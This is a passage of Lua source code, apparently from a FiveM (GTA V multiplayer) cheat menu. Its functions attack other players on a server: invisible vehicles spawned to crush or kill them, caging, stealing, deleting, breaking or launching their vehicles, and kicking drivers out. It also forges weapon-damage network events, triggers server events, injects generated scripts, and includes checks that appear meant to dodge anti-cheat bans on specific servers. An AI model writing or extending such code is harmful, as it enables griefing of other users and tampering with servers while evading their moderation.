SetVehicleOnGroundProperly(vehicle) SetEntityVisible(vehicle, true, false) SetVehicleDoorsLocked(vehicle, 4) Citizen.CreateThread(function() Wait(60) SetEntityVisible(vehicle, false, false) Wait(100) local speed = 50.0 local startTime = GetGameTimer() while true do local p = GetEntityCoords(targetPed) local vehPos = GetEntityCoords(vehicle) local dir = p - vehPos local len = #(dir) if len > 0 then SetEntityVelocity(vehicle, dir.x / len * speed, dir.y / len * speed, dir.z / len * speed) SetEntityHeading(vehicle, GetEntityHeading(targetPed)) end if GetGameTimer() - startTime >= 3000 then DeleteVehicle(vehicle) break end Wait(0) end end) end, %d) end) ]] local script = string.format(template, targetInfo.ped, safeSpawn) menu.utils.safeExecute(script) end end function assembledMenuFunctions.silentKillAlternative(options) repeat if options then if not options.targetInfo then break end if menu.utils.isTargetFriend(options.targetInfo) then menu.utils.notify("Blocked: target is a friend.", "info", 2000) return end if options.selectedValue == "Car" then menu.functions.silentKillCar(options) return end if options.selectedValue ~= "Heli" then return end menu.functions.silentKillHeli(options) return end until true menu.utils.notify("Invalid target.", "error", 2000) return end function assembledMenuFunctions.smashPlayer(toggleOptions) repeat if toggleOptions then local targetInfo = toggleOptions.targetInfo if targetInfo then break end end return until true local function disableSmashPlayer(targetPed) if targetPed then if menu.vars.indivBools then if menu.vars.indivBools.smashPlayer then menu.vars.indivBools.smashPlayer[targetPed] = false end end end if menu.vars.bools then menu.vars.bools.smashPlayer = false end end if menu.utils.isTargetFriend(toggleOptions.targetInfo) then menu.utils.notify("Blocked: target is a friend.", "info", 2000) disableSmashPlayer(toggleOptions.targetInfo.ped) return end local targetInfo = toggleOptions.targetInfo local safeSpawn = menu.vars.bools.safeVehicleSpawn repeat if safeSpawn then safeSpawn = 1 if safeSpawn then break end end safeSpawn = 0 until true local vehicleModel = "bison3" local speed = 20.0 local spawnHeight = -50.0 local spawnHeading = 0 local useDirtReset = 1 if not menu.utils.isVehicleWhitelisted(vehicleModel) then menu.utils.notify("Vehicle is blacklisted", "error", 2000) disableSmashPlayer(toggleOptions.targetInfo.ped) return end local serverId = tonumber(targetInfo.serverId) local numericPed = tonumber(targetInfo.ped) local resolveTargetScript repeat if serverId then resolveTargetScript = string.format( [[ local function resolveTargetPed() local targetPlayer = GetPlayerFromServerId(%d) if not targetPlayer or targetPlayer == -1 then return nil end local targetPed = GetPlayerPed(targetPlayer) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then return nil end return targetPed end ]], serverId ) break end if numericPed then resolveTargetScript = string.format( [[ local function resolveTargetPed() local targetPed = %d if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then return nil end return targetPed end ]], numericPed ) break end menu.utils.notify("Invalid target ped", "error", 2000) disableSmashPlayer(toggleOptions.targetInfo.ped) return until true local loopKey if serverId then loopKey = serverId else loopKey = numericPed end if toggleOptions.toggleState then local script = string.format( [[ %s if not _G.smashPlayerTbl then _G.smashPlayerTbl = {} end local loopKey = %s if _G.smashPlayerTbl[loopKey] then return end _G.smashPlayerTbl[loopKey] = true Citizen.CreateThread(function() local vehicleModel = %q local heightOffset = %.1f local fallVelocity = %.1f local useGroundProperly = %d == 1 local useDirtReset = %d == 1 local targetPed = resolveTargetPed() if not targetPed or not _G.smashPlayerTbl[loopKey] then if _G.smashPlayerTbl then _G.smashPlayerTbl[loopKey] = nil end return end local heading = GetEntityHeading(targetPed) local spawnPos = GetOffsetFromEntityInWorldCoords(targetPed, 0.0, 2.0, 0.0) _G.Citizen.Bongs.utils.spawnVehicle(vehicleModel, spawnPos, heading, function(veh) if not veh or not DoesEntityExist(veh) then if _G.smashPlayerTbl then _G.smashPlayerTbl[loopKey] = nil end return end SetEntityAsMissionEntity(veh, true, true) if useDirtReset then SetVehicleDirtLevel(veh, 0.0) end if useGroundProperly then Citizen.Wait(50) SetVehicleOnGroundProperly(veh) end while _G.smashPlayerTbl[loopKey] do targetPed = resolveTargetPed() if not targetPed then break end local px, py, pz = table.unpack(GetEntityCoords(targetPed)) SetEntityCoordsNoOffset(veh, px, py, pz - 10.0, false, false, false) SetEntityVelocity(veh, 0.0, 0.0, 0.0) Citizen.Wait(120) if not _G.smashPlayerTbl[loopKey] then break end targetPed = resolveTargetPed() if not targetPed then break end px, py, pz = table.unpack(GetEntityCoords(targetPed)) SetEntityCoordsNoOffset(veh, px, py, pz + heightOffset, false, false, false) SetEntityVelocity(veh, 0.0, 0.0, fallVelocity) local waited = 0 while waited < 1500 and _G.smashPlayerTbl[loopKey] do Citizen.Wait(100) waited = waited + 100 if not resolveTargetPed() then break end end end if DoesEntityExist(veh) then DeleteEntity(veh) end if _G.smashPlayerTbl then _G.smashPlayerTbl[loopKey] = nil end end, %d) end) ]], resolveTargetScript, tostring(loopKey), vehicleModel, speed, spawnHeight, spawnHeading, useDirtReset, safeSpawn ) menu.utils.safeExecute(script) return end local script = string.format( [[ %s local loopKey = %s if _G.smashPlayerTbl then _G.smashPlayerTbl[loopKey] = nil end ]], resolveTargetScript, tostring(loopKey) ) menu.utils.safeExecute(script) end function assembledMenuFunctions.cagePlayerAir(options) local endpoint = Ham do local foundEndpoint = false repeat repeat if endpoint then endpoint = Ham.getServerEndpoint if not endpoint then break end endpoint = Ham.getServerEndpoint() if endpoint then foundEndpoint = true break end end until true if foundEndpoint then break end endpoint = "" until true end if endpoint == "194.48.217.174" then menu.utils.notify("Ban Blocked", "error", 4000) return end if not menu.utils.isVehicleWhitelisted("benson") then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end local spawnAsObject = menu.vars.spawnVehiclesAsObject repeat if spawnAsObject then spawnAsObject = 1 if spawnAsObject then break end end spawnAsObject = 0 until true local safeSpawn = menu.vars.bools.safeVehicleSpawn repeat if safeSpawn then safeSpawn = 1 if safeSpawn then break end end safeSpawn = 0 until true local template = [[ local targetServerId = %d if not targetServerId then return end local targetPlayer = GetPlayerFromServerId(targetServerId) if not targetPlayer or targetPlayer == -1 then return end local targetPed = GetPlayerPed(targetPlayer) if not DoesEntityExist(targetPed) then return end local vehicleName = "benson" local targetCoords = GetEntityCoords(targetPed) local targetHeading = GetEntityHeading(targetPed) local spawnCoords = vector3(targetCoords.x, targetCoords.y, targetCoords.z) local veh = nil if %d == 1 and %d == 0 then -- Use CreateObject directly when spawnVehiclesAsObject is true and safeSpawn is false local vehicleModel = GetHashKey(vehicleName) RequestModel(vehicleModel) while not HasModelLoaded(vehicleModel) do Citizen.Wait(10) end veh = CreateObject(vehicleModel, spawnCoords.x, spawnCoords.y, spawnCoords.z, true, true, false) if veh and DoesEntityExist(veh) then Citizen.Wait(50) SetEntityAsMissionEntity(veh, true, true) SetEntityVisible(veh, false, false) SetEntityCoordsNoOffset(veh, targetCoords.x, targetCoords.y, targetCoords.z - 0.3, false, false, false) end else -- Use utility function for safe spawn or normal CreateVehicle _G.Citizen.Bongs.utils.spawnVehicle(vehicleName, spawnCoords, targetHeading, function(vehicle) if not vehicle or not DoesEntityExist(vehicle) then return end Citizen.Wait(50) veh = vehicle SetEntityAsMissionEntity(veh, true, true) SetEntityVisible(veh, false, false) SetEntityCoordsNoOffset(veh, targetCoords.x, targetCoords.y, targetCoords.z - 0.3, false, false, false) end, %d) -- Wait for vehicle to be spawned while veh == nil do Wait(10) end end if veh and DoesEntityExist(veh) then Citizen.CreateThread(function() Citizen.Wait(2000) local targetHeight = 200.0 local currentHeight = targetCoords.z local step = 0.5 while currentHeight < targetHeight and DoesEntityExist(veh) do currentHeight = currentHeight + step SetEntityCoordsNoOffset(veh, targetCoords.x, targetCoords.y, currentHeight, false, false, false) Citizen.Wait(10) end if DoesEntityExist(veh) then SetEntityCoordsNoOffset(veh, targetCoords.x, targetCoords.y, targetHeight, false, false, false) SetEntityRotation(veh, 0.0, 0.0, targetHeading, 2, true) local rotationX = 0.0 while rotationX > -90.0 and DoesEntityExist(veh) do rotationX = rotationX - 1.0 if rotationX < -90.0 then rotationX = -90.0 end SetEntityRotation(veh, rotationX, 0.0, targetHeading, 2, true) Citizen.Wait(10) end FreezeEntityPosition(veh, true) end end) end ]] local script = string.format(template, options.targetInfo.serverId, spawnAsObject, safeSpawn, safeSpawn) menu.utils.safeExecute(script) end function assembledMenuFunctions.destroyVehicle(options) if options then local targetInfo = options.targetInfo if not targetInfo then return end targetInfo = options.targetInfo if not menu.utils.ensurePedLimit() then return end local template = [[ Citizen.CreateThread(function() local targetPed = %d local targetCoords = GetEntityCoords(targetPed) local vehicle = GetVehiclePedIsIn(targetPed, false) if vehicle == 0 then return end local model = ]] .. menu.vars.whitelistedPed .. [[ RequestModel(model) while not HasModelLoaded(model) do Wait(0) end local vehicleCoords = GetEntityCoords(vehicle) local spawnZ = vehicleCoords.z + 2.0 local shooterPed = CreatePed(4, model, vehicleCoords.x, vehicleCoords.y, spawnZ, 0.0, true, true) -- Tag as menu-spawned so NPC ESP can ignore it pcall(function() local ent = Entity(shooterPed) if ent and ent.state then ent.state:set("pm_menu_spawned", true, true) end end) SetEntityVisible(shooterPed, false, false) SetEntityInvincible(shooterPed, true) FreezeEntityPosition(shooterPed, true) local endTime = GetGameTimer() + 2000 local boneIndex = GetEntityBoneIndexByName(vehicle, "engine") if boneIndex == -1 then boneIndex = 0 end while GetGameTimer() < endTime do local muzzleBone = GetPedBoneIndex(shooterPed, 31086) local muzzleCoords = GetWorldPositionOfEntityBone(shooterPed, muzzleBone) local targetCoords = GetWorldPositionOfEntityBone(vehicle, boneIndex) ShootSingleBulletBetweenCoords( muzzleCoords.x, muzzleCoords.y, muzzleCoords.z, targetCoords.x, targetCoords.y, targetCoords.z, 10000, true, GetHashKey("WEAPON_PISTOL"), shooterPed, true, false, 1000.0 ) Wait(1) end DeletePed(shooterPed) SetModelAsNoLongerNeeded(model) end)]] local script = string.format(template, targetInfo.ped) menu.utils.safeExecute(script) end end function assembledMenuFunctions.revivePlayer(options) if options then local targetInfo = options.targetInfo if not targetInfo then return end targetInfo = options.targetInfo if not Ham.hasResource("supremo_core") then return end local script = string.format( [[ TriggerServerEvent("supremo_healing:revivekitrevive", %d) ]], targetInfo.serverId ) menu.utils.safeExecute(script) end end function assembledMenuFunctions.copyOutfit(options) local createThread = Citizen.CreateThread local function runCopyOutfitThread() if options then if options.targetInfo then if menu.functions.copyAppearanceFromTargetPed(options.targetInfo.ped) then menu.utils.notify("Outfit copied", "success", 2000) end end end end createThread(runCopyOutfitThread) end function assembledMenuFunctions.copySelectedPlayerInfoToClipboard(options) local targetInfo repeat if options then targetInfo = options.targetInfo if targetInfo then break end end targetInfo = menu.utils.resolvePlayerInfoTargetFromListHighlight() if not targetInfo then targetInfo = menu.vars.selectedPlayer end until true local clipboardText, errorCode = menu.utils.buildSelectedPlayerInfoClipboardText(targetInfo) if not clipboardText then if errorCode == "no_player" then menu.utils.notify("No player selected", "info", 2200) else menu.utils.notify("Could not read player info", "info", 2200) end menu.utils.playSound("ERROR") return end if menu.utils.setClipboardText(clipboardText) then menu.utils.notify("Player info copied to clipboard", "success", 2500) else menu.utils.notify("Clipboard unavailable", "error", 2200) end end function assembledMenuFunctions.stealVehicle(options) local blocked = menu.utils.isServer151VehicleBlocked() if blocked then menu.utils.notifyBanBlocked() return end if options then do local targetInfo = options.targetInfo if not targetInfo then return end end local targetInfo = options.targetInfo local targetPed = targetInfo.ped local getVehicle = GetVehiclePedIsIn local targetVehicle = getVehicle(targetPed, false) if targetVehicle == 0 then return end local createThread = Citizen.CreateThread local function runStealVehicleThread() local doesEntityExist = DoesEntityExist local vehicleExists = doesEntityExist(targetVehicle) if not vehicleExists then local notify = menu.utils.notify notify("Selected vehicle no longer exists", "error", 2000) return end local getPlayerPed = PlayerPedId local playerPed = getPlayerPed() local getEntityCoords = GetEntityCoords local originalCoords = getEntityCoords(playerPed) local withTempPlayerInvisibility = menu.utils.withTempPlayerInvisibility local function performVehicleSteal() local enterVehicle = TaskEnterVehicle enterVehicle(playerPed, targetVehicle, 1, -1, 2.0, 8, 0) do local wait = Citizen.Wait wait(50) end local warpIntoVehicle = TaskWarpPedIntoVehicle warpIntoVehicle(playerPed, targetVehicle, -1) do local wait = Citizen.Wait wait(1500) end local setEntityCoords = SetEntityCoords local coordinateX = originalCoords.x local coordinateY = originalCoords.y local coordinateZ = originalCoords.z setEntityCoords(targetVehicle, coordinateX, coordinateY, coordinateZ, false, false, false, true) end withTempPlayerInvisibility(performVehicleSteal) end createThread(runStealVehicleThread) end end function assembledMenuFunctions.kickFromVehicle(options) local blocked = menu.utils.isServer151VehicleBlocked() if blocked then menu.utils.notifyBanBlocked() return end if options then do local targetInfo = options.targetInfo if not targetInfo then return end end local createThread = Citizen.CreateThread local function runKickFromVehicleThread() local targetInfo = options.targetInfo local targetPed = targetInfo.ped local getPlayerPed = PlayerPedId local playerPed = getPlayerPed() local getEntityCoords = GetEntityCoords local originalCoords = getEntityCoords(playerPed) local getVehicle = GetVehiclePedIsIn local targetVehicle = getVehicle(targetPed, false) if targetVehicle == 0 then local notify = menu.utils.notify notify("Target is not in a vehicle", "info", 2000) return end local seatFree do local isVehicleSeatFree = IsVehicleSeatFree seatFree = isVehicleSeatFree(targetVehicle, -1) end if seatFree then local notify = menu.utils.notify notify("No driver found", "info", 2000) return end do local withTempPlayerInvisibility = menu.utils.withTempPlayerInvisibility local function performDriverKick() local enterVehicle = TaskEnterVehicle enterVehicle(playerPed, targetVehicle, 1, -1, 2.0, 8, 0) do local wait = Citizen.Wait wait(50) end local warpIntoVehicle = TaskWarpPedIntoVehicle warpIntoVehicle(playerPed, targetVehicle, -1) do local wait = Citizen.Wait wait(1500) end ClearPedTasksImmediately(playerPed) local setEntityCoords = SetEntityCoords local coordinateX = originalCoords.x local coordinateY = originalCoords.y local coordinateZ = originalCoords.z setEntityCoords(playerPed, coordinateX, coordinateY, coordinateZ, false, false, false, true) end withTempPlayerInvisibility(performDriverKick) end local notify = menu.utils.notify notify("Driver kicked", "success", 2000) end createThread(runKickFromVehicleThread) end end function assembledMenuFunctions.tazeOutOfVehicle(options) local blocked = menu.utils.isServer151VehicleBlocked() if blocked then menu.utils.notifyBanBlocked() return end repeat if options then local targetInfo = options.targetInfo if targetInfo then break end end return until true local targetPed do local targetInfo = options.targetInfo targetPed = targetInfo.ped end do local validTarget = false repeat repeat if targetPed then local entityExists = DoesEntityExist(targetPed) if not entityExists then break end local entityDead = IsEntityDead(targetPed) if not entityDead then validTarget = true break end end until true if validTarget then break end return until true end local vehicle = GetVehiclePedIsIn(targetPed, false) if vehicle == 0 then local notify = menu.utils.notify notify("Target is not in a vehicle", "info", 2000) return end local available = Ham repeat if available then available = Ham.sendWeaponDamageEvent if available then break end end local notify = menu.utils.notify notify("Ham.sendWeaponDamageEvent is not available.", "error", 2500) return until true local playerIndex = NetworkGetPlayerIndexFromPed(targetPed) repeat if playerIndex ~= -1 then local playerPed = PlayerPedId() if targetPed ~= playerPed then break end end return until true local networkId = NetworkGetNetworkIdFromEntity(targetPed) repeat if networkId then if networkId ~= 0 then break end end return until true local boneCoords = GetPedBoneCoords(targetPed, 24818, 0.0, 0.0, 0.0) local getOffset = GetOffsetFromEntityGivenWorldCoords local offset local getEntityCoords do local coordinateX = boneCoords.x local coordinateY = boneCoords.y local coordinateZ = boneCoords.z offset = getOffset(targetPed, coordinateX, coordinateY, coordinateZ) getEntityCoords = GetEntityCoords end local getPlayerPed = PlayerPedId local distance = getEntityCoords(getPlayerPed()) do local entityCoords = GetEntityCoords(targetPed) distance = distance - entityCoords distance = #distance end local sendWeaponDamageEvent = Ham.sendWeaponDamageEvent local serverId = GetPlayerServerId(playerIndex) local damageEvent = {} damageEvent.weaponHash = 1171102963 damageEvent.damage = 1 damageEvent.damageType = 3 damageEvent.hitGlobalId = networkId damageEvent.hitComponent = 10 damageEvent.overrideDamage = true damageEvent.damageFlags = 0 damageEvent.actionResultName = 0 damageEvent.actionResultId = 1 damageEvent.f104 = 0 damageEvent.isNetTargetPos = true do local coordinateX = offset.x damageEvent.localPosX = coordinateX end do local coordinateY = offset.y damageEvent.localPosY = coordinateY end local coordinateZ = offset.z damageEvent.localPosZ = coordinateZ damageEvent.f112Data = distance damageEvent.willKill = false damageEvent.f133 = false damageEvent.hasImpactDir = false damageEvent.hitEntityWeapon = false damageEvent.hitWeaponAmmoAttachment = false damageEvent.silenced = false sendWeaponDamageEvent(serverId, damageEvent) end function assembledMenuFunctions.kickFromVehicleChoice(options) local selectedMethod = menu.vars.selectors repeat if selectedMethod then selectedMethod = menu.vars.selectors.onlineKickDriverMethod if selectedMethod then break end end selectedMethod = 1 until true if selectedMethod == 2 then menu.functions.kickFromVehicle2(options) else menu.functions.kickFromVehicle(options) end end function assembledMenuFunctions.kickFromVehicle2(options) if menu.utils.isServer151VehicleBlocked() then menu.utils.notifyBanBlocked() return end if options then do local targetInfo = options.targetInfo if not targetInfo then return end end local createThread = Citizen.CreateThread local function runKickFromVehicle2Thread() local targetInfo = options.targetInfo local ped = targetInfo.ped local playerPed = PlayerPedId() local originalCoords = GetEntityCoords(playerPed) local targetVehicle = GetVehiclePedIsIn(ped, false) if targetVehicle == 0 then menu.utils.notify("Target is not in a vehicle", "info", 2000) return end if IsVehicleSeatFree(targetVehicle, -1) then menu.utils.notify("No driver found", "info", 2000) return end local driverPed = GetPedInVehicleSeat(targetVehicle, -1) repeat if driverPed ~= 0 then if DoesEntityExist(driverPed) then break end end menu.utils.notify("No driver found", "info", 2000) return until true do local withTempPlayerInvisibility = menu.utils.withTempPlayerInvisibility local function performDriverKick() NetworkRequestControlOfEntity(targetVehicle) TaskWarpPedIntoVehicle(playerPed, targetVehicle, 0) Citizen.Wait(50) local currentDriver = GetPedInVehicleSeat(targetVehicle, -1) if currentDriver ~= 0 then if DoesEntityExist(currentDriver) then if currentDriver ~= playerPed then SetEntityAsMissionEntity(currentDriver, true, true) DeleteEntity(currentDriver) end end end Citizen.Wait(20) TaskWarpPedIntoVehicle(playerPed, targetVehicle, -1) Citizen.Wait(50) SetEntityCoords( playerPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, true ) end withTempPlayerInvisibility(performDriverKick) end menu.utils.notify("Driver kicked", "success", 2000) end createThread(runKickFromVehicle2Thread) end end function assembledMenuFunctions.crazyHelicopterPlayer(options) do local isServer151VehicleBlocked = menu.utils.isServer151VehicleBlocked() if isServer151VehicleBlocked then menu.utils.notifyBanBlocked() return end end if not menu.utils.isVehicleWhitelisted("frogger") then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end if options then if not options.targetInfo then return end local serverId = options.targetInfo.serverId if not serverId then menu.utils.notify("No target selected", "error", 2000) return end local safeSpawn = menu.vars.bools.safeVehicleSpawn repeat if safeSpawn then safeSpawn = 1 if safeSpawn then break end end safeSpawn = 0 until true local script = string.format( [[ Citizen.CreateThread(function() local playerPed = PlayerPedId() if not playerPed or not DoesEntityExist(playerPed) then return end local originalCoords = GetEntityCoords(playerPed) local targetServerId = %d local targetPlayer = GetPlayerFromServerId(targetServerId) if targetPlayer == -1 then return end local targetPed = GetPlayerPed(targetPlayer) if not targetPed or not DoesEntityExist(targetPed) then return end local coords = GetEntityCoords(targetPed) local heading = GetEntityHeading(targetPed) _G.Citizen.Bongs.utils.spawnVehicle("frogger", coords, heading, function(heli) if not heli or not DoesEntityExist(heli) then return end SetEntityAsMissionEntity(heli, true, true) SetVehicleHasBeenOwnedByPlayer(heli, true) SetVehicleEngineOn(heli, true, true, false) SetHeliBladesFullSpeed(heli) SetPedIntoVehicle(playerPed, heli, -1) SetEntityInvincible(heli, true) SetVehicleCanBeVisiblyDamaged(heli, false) SetDisableVehicleEngineFires(heli, true) SetDisableVehiclePetrolTankDamage(heli, true) SetDisableVehiclePetrolTankFires(heli, true) SetEntityProofs(heli, true, true, true, true, true, false, false, true) local ROTOR_OFFSET_RIGHT = 1.35 local function isAliveTargetPed(ped) if not ped or ped == 0 or not DoesEntityExist(ped) then return false end if IsEntityDead(ped) then return false end if IsPedDeadOrDying(ped, true) then return false end return true end local runDuration = 2000 local startTime = GetGameTimer() while DoesEntityExist(heli) and (GetGameTimer() - startTime) < runDuration do local tp = GetPlayerFromServerId(targetServerId) if tp == -1 then break end local tPed = GetPlayerPed(tp) if not isAliveTargetPed(tPed) then Wait(50) else FreezeEntityPosition(heli, false) local tc = GetEntityCoords(tPed) local bs = GetOffsetFromEntityInWorldCoords(tPed, ROTOR_OFFSET_RIGHT, 0.0, 0.0) SetEntityCoordsNoOffset(heli, bs.x, bs.y, tc.z - 3.0, false, false, false) Wait(200) end end if heli and DoesEntityExist(heli) then FreezeEntityPosition(heli, false) local myPed = PlayerPedId() if myPed ~= 0 and GetVehiclePedIsIn(myPed, false) == heli then TaskLeaveVehicle(myPed, heli, 16) Wait(250) end if DoesEntityExist(heli) then DeleteVehicle(heli) end end SetEntityCoords(PlayerPedId(), originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, true) end, %d) end) ]], serverId, safeSpawn ) menu.utils.safeExecute(script) menu.utils.notify("Crazy Helicopter sent", "success", 2000) end end function assembledMenuFunctions.carryPlayerVehicle(options) if menu.utils.isServer151VehicleBlocked() then menu.utils.notifyBanBlocked() return end if options then do local targetInfo = options.targetInfo if not targetInfo then return end end local createThread = Citizen.CreateThread local function runCarryPlayerVehicleThread() local targetInfo = options.targetInfo local ped = targetInfo.ped local playerPed = PlayerPedId() local originalCoords = GetEntityCoords(playerPed) local targetVehicle = GetVehiclePedIsIn(ped, false) if targetVehicle == 0 then menu.utils.notify("Target is not in a vehicle", "info", 2000) return end if IsVehicleSeatFree(targetVehicle, -1) then menu.utils.notify("No driver found", "info", 2000) return end do local withTempPlayerInvisibility = menu.utils.withTempPlayerInvisibility local function performVehicleCarry() TaskEnterVehicle(playerPed, targetVehicle, 1, -1, 2.0, 8, 0) Citizen.Wait(50) TaskWarpPedIntoVehicle(playerPed, targetVehicle, -1) Citizen.Wait(1500) ClearPedTasksImmediately(playerPed) SetEntityCoords( playerPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, true ) Citizen.Wait(100) SetEntityCoordsNoOffset( targetVehicle, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false ) if not NetworkGetEntityIsNetworked(playerPed) then NetworkRegisterEntityAsNetworked(playerPed) end NetworkRequestControlOfEntity(playerPed) if not NetworkGetEntityIsNetworked(targetVehicle) then NetworkRegisterEntityAsNetworked(targetVehicle) end NetworkRequestControlOfEntity(targetVehicle) menu.vars.carryAttachedVeh = targetVehicle AttachEntityToEntity( targetVehicle, playerPed, 0, 0.0, 0.0, 1.5, 0.0, 0.0, 0.0, false, false, false, false, 2, true ) end withTempPlayerInvisibility(performVehicleCarry) startCarryAnimation() end menu.utils.notify("Carrying target's vehicle", "success", 2000) end createThread(runCarryPlayerVehicleThread) end end function assembledMenuFunctions.flyVehicleToAir(options) if menu.utils.isServer151VehicleBlocked() then menu.utils.notifyBanBlocked() return end if options then do local targetInfo = options.targetInfo if not targetInfo then return end end local createThread = Citizen.CreateThread local function runFlyVehicleToAirThread() local targetInfo = options.targetInfo local ped = targetInfo.ped local playerPed = PlayerPedId() local originalCoords = GetEntityCoords(playerPed) local targetVehicle = GetVehiclePedIsIn(ped, false) if targetVehicle == 0 then menu.utils.notify("Target is not in a vehicle", "info", 2000) return end if IsVehicleSeatFree(targetVehicle, -1) then menu.utils.notify("No driver found", "info", 2000) return end local withTempPlayerInvisibility = menu.utils.withTempPlayerInvisibility local function performVehicleEntry() TaskEnterVehicle(playerPed, targetVehicle, 1, -1, 2.0, 8, 0) Citizen.Wait(50) TaskWarpPedIntoVehicle(playerPed, targetVehicle, -1) Citizen.Wait(1500) ClearPedTasksImmediately(playerPed) SetEntityCoords( playerPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, true ) end withTempPlayerInvisibility(performVehicleEntry) if not NetworkGetEntityIsNetworked(targetVehicle) then NetworkRegisterEntityAsNetworked(targetVehicle) end NetworkRequestControlOfEntity(targetVehicle) local vehicleCoords = GetEntityCoords(targetVehicle) FreezeEntityPosition(targetVehicle, true) SetEntityCollision(targetVehicle, false, false) for _ = 1, 600, 1 do vehicleCoords = vector3(vehicleCoords.x, vehicleCoords.y, vehicleCoords.z + 0.15) SetEntityCoordsNoOffset( targetVehicle, vehicleCoords.x, vehicleCoords.y, vehicleCoords.z, false, false, false ) Citizen.Wait(30) end FreezeEntityPosition(targetVehicle, false) SetEntityCollision(targetVehicle, true, true) menu.utils.notify("Vehicle sent to the sky", "success", 2000) end createThread(runFlyVehicleToAirThread) end end function assembledMenuFunctions.launchVehicle(options) if menu.utils.isServer151VehicleBlocked() then menu.utils.notifyBanBlocked() return end repeat if options then if not options.targetInfo then break end local playerId = options.targetInfo.playerId local playerName if not playerId then playerName = playerId else playerName = GetPlayerName(playerId) end local displayName do local foundName = false repeat repeat if playerName then if playerName == "" then break end if playerName then displayName = playerName foundName = true break else break end end until true if foundName then break end local serverId = options.targetInfo.serverId if not serverId then serverId = "?" end displayName = "ID " .. tostring(serverId) until true end local createThread = Citizen.CreateThread local function runLaunchVehicleThread() local targetInfo = options.targetInfo local ped = targetInfo.ped local playerPed = PlayerPedId() local originalCoords = GetEntityCoords(playerPed) local godmodeEnabled = false local targetVehicle = GetVehiclePedIsIn(ped, false) if targetVehicle == 0 then menu.utils.notify(displayName .. " is not in a vehicle", "error", 2000) return end FreezeEntityPosition(playerPed, true) if not menu.vars.bools.godmode then local toggleOptions = {} toggleOptions.toggleState = true menu.functions.toggleGodmode(toggleOptions) godmodeEnabled = true end do local withTempPlayerInvisibility = menu.utils.withTempPlayerInvisibility local function performVehicleLaunch() TaskEnterVehicle(playerPed, targetVehicle, 1, -1, 2.0, 8, 0) Citizen.Wait(1500) SetEntityCoords( playerPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, true ) local forwardVector = GetEntityForwardVector(targetVehicle) ApplyForceToEntity( targetVehicle, 1, forwardVector.x * 50.0, forwardVector.y * 50.0, 50.0, 0.0, 0.0, 0.0, 0, false, true, true, false, true ) menu.utils.notify("Launched " .. displayName .. "'s vehicle", "success", 2000) Citizen.Wait(500) end withTempPlayerInvisibility(performVehicleLaunch) end FreezeEntityPosition(playerPed, false) if godmodeEnabled then local toggleOptions = {} toggleOptions.toggleState = false menu.functions.toggleGodmode(toggleOptions) end end createThread(runLaunchVehicleThread) do return end return end until true menu.utils.notify("No player selected", "error", 2000) end function assembledMenuFunctions.deleteVehicle(options) if menu.utils.isServer151VehicleBlocked() then menu.utils.notifyBanBlocked() return end if options then do local targetInfo = options.targetInfo if not targetInfo then return end end local createThread = Citizen.CreateThread local function runDeleteVehicleThread() local targetInfo = options.targetInfo local ped = targetInfo.ped local playerPed = PlayerPedId() local restoreState = menu.utils.getFreecamPlayerRestoreState(playerPed) local targetVehicle = GetVehiclePedIsIn(ped, false) if targetVehicle == 0 then menu.utils.notify("Target is not in a vehicle", "info", 2000) return end menu.utils.prepareFreecamPlayerVehicleInteraction(playerPed, restoreState, false) do local withTempPlayerInvisibility = menu.utils.withTempPlayerInvisibility local function performVehicleDeletion() TaskEnterVehicle(playerPed, targetVehicle, 1, -1, 2.0, 8, 0) Citizen.Wait(50) TaskWarpPedIntoVehicle(playerPed, targetVehicle, -1) Citizen.Wait(1500) menu.utils.restoreFreecamPlayerState(playerPed, restoreState, false) end withTempPlayerInvisibility(performVehicleDeletion) end local controlAttempts = 0 while not NetworkHasControlOfEntity(targetVehicle) and controlAttempts < 20 do controlAttempts = controlAttempts + 1 NetworkRequestControlOfEntity(targetVehicle) Citizen.Wait(10) end SetEntityAsMissionEntity(targetVehicle, true, true) SetVehicleSiren(targetVehicle, false) SetVehicleHasMutedSirens(targetVehicle, true) SetVehicleAlarm(targetVehicle, false) SetVehicleAlarmTimeLeft(targetVehicle, 0) FreezeEntityPosition(targetVehicle, false) SetEntityCollision(targetVehicle, true, true) local deleteAttempts = 0 while DoesEntityExist(targetVehicle) and deleteAttempts < 10 do DeleteEntity(targetVehicle) Citizen.Wait(50) deleteAttempts = deleteAttempts + 1 end if not DoesEntityExist(targetVehicle) then menu.utils.notify("Vehicle deleted successfully", "success", 2000) else menu.utils.notify("Failed to delete vehicle", "error", 2000) end end createThread(runDeleteVehicleThread) end end function assembledMenuFunctions.breakVehicle(options) if menu.utils.isServer151VehicleBlocked() then menu.utils.notifyBanBlocked() return end if options then do local targetInfo = options.targetInfo if not targetInfo then return end end local createThread = Citizen.CreateThread local function runBreakVehicleThread() local targetInfo = options.targetInfo local ped = targetInfo.ped local playerPed = PlayerPedId() local originalCoords = GetEntityCoords(playerPed) local targetVehicle = GetVehiclePedIsIn(ped, false) if targetVehicle == 0 then return end local withTempPlayerInvisibility = menu.utils.withTempPlayerInvisibility local function performVehicleBreak() local controlAttempts = 0 while not NetworkHasControlOfEntity(targetVehicle) and controlAttempts < 30 do NetworkRequestControlOfEntity(targetVehicle) Citizen.Wait(15) controlAttempts = controlAttempts + 1 end TaskEnterVehicle(playerPed, targetVehicle, 1, -1, 2.0, 8, 0) Citizen.Wait(50) TaskWarpPedIntoVehicle(playerPed, targetVehicle, -1) Citizen.Wait(1500) if GetPedInVehicleSeat(targetVehicle, -1) ~= playerPed then ClearPedTasksImmediately(playerPed) Citizen.Wait(100) TaskWarpPedIntoVehicle(playerPed, targetVehicle, -1) Citizen.Wait(1000) end if GetPedInVehicleSeat(targetVehicle, -1) == playerPed then SetVehicleExclusiveDriver_2(targetVehicle, playerPed, 1) ClearPedTasksImmediately(playerPed) TaskEnterVehicle(playerPed, targetVehicle, -1, -1, 2.5, 1, 0) Citizen.Wait(350) else ClearPedTasksImmediately(playerPed) end SetEntityCoords( playerPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, true ) end 